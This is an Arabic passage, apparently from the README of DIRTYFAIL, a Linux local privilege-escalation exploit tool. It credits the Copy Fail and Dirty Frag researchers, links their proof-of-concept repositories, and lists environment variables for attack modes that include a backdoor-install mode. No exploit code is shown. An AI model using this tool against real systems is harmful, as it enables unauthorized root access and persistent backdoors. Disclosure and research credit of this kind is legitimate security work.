التي كانت تستنفد سابقًا سقف التعشيش لكل userns.DIRTYFAIL كود أصلي، لكن التقنيات التي ينفذها طُوّرت بواسطة الباحثين أدناه. اقرأ مصادرهم الأولية قبل نشر هذه الأداة — فهي المراجع المعتمدة.
مؤلفو التصحيحات:
f4c50a4034e6 (Dirty Frag xfrm-ESP) — استنادًا إلى تصحيح Hyunwoo Kim v1،
مع نهج shared-frag المدمج بواسطة Kuan-Ting Chen.MIT. انظر LICENSE.
افتح issue في هذا المستودع، أو تواصل عبر العنوان المدرج في سجل الالتزامات (commit history). للإفصاح المنسق عن قضايا ذات صلة، تواصل مباشرة مع الباحثين المنبع (upstream) المذكورين أعلاه.
| الوضع | متغيرات البيئة |
|---|
esp / esp6 / gcm | DIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER |
rxrpc | DIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — تتم عملية القوة العمياء لـ fcrypt في العملية الأب (لا حاجة إلى capabilities)؛ ويتم تمرير المفاتيح إلى الطفل لتشغيل المحفّزات الفعلية |
backdoor-install / backdoor-cleanup | DIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE |
| المصدر | الباحث | المساهمة |
|---|
| https://copy.fail/ | مجهول | الإفصاح الأصلي عن Copy Fail |
| https://github.com/Smarttfoxx/copyfail | Smarttfoxx | C PoC (متغير shellcode-in-su) |
| https://github.com/rootsecdev/cve_2026_31431 | rootsecdev | كاشف Python + PoC لقلب UID؛ بيئة استخدام وضع --exploit-copyfail في DIRTYFAIL تتبع هذا النهج. |
| https://github.com/V4bel/dirtyfrag | Hyunwoo Kim (@v4bel) | اكتشاف Dirty Frag، سلسلة PoC كاملة، تصحيحات النواة |
| https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo | 0xdeadbeefnetwork | استغلال متغير GCM، PoC لـ IPv6، تقنية تجاوز userns في AppArmor |
| https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/ | BleepingComputer | التغطية الإخبارية العامة |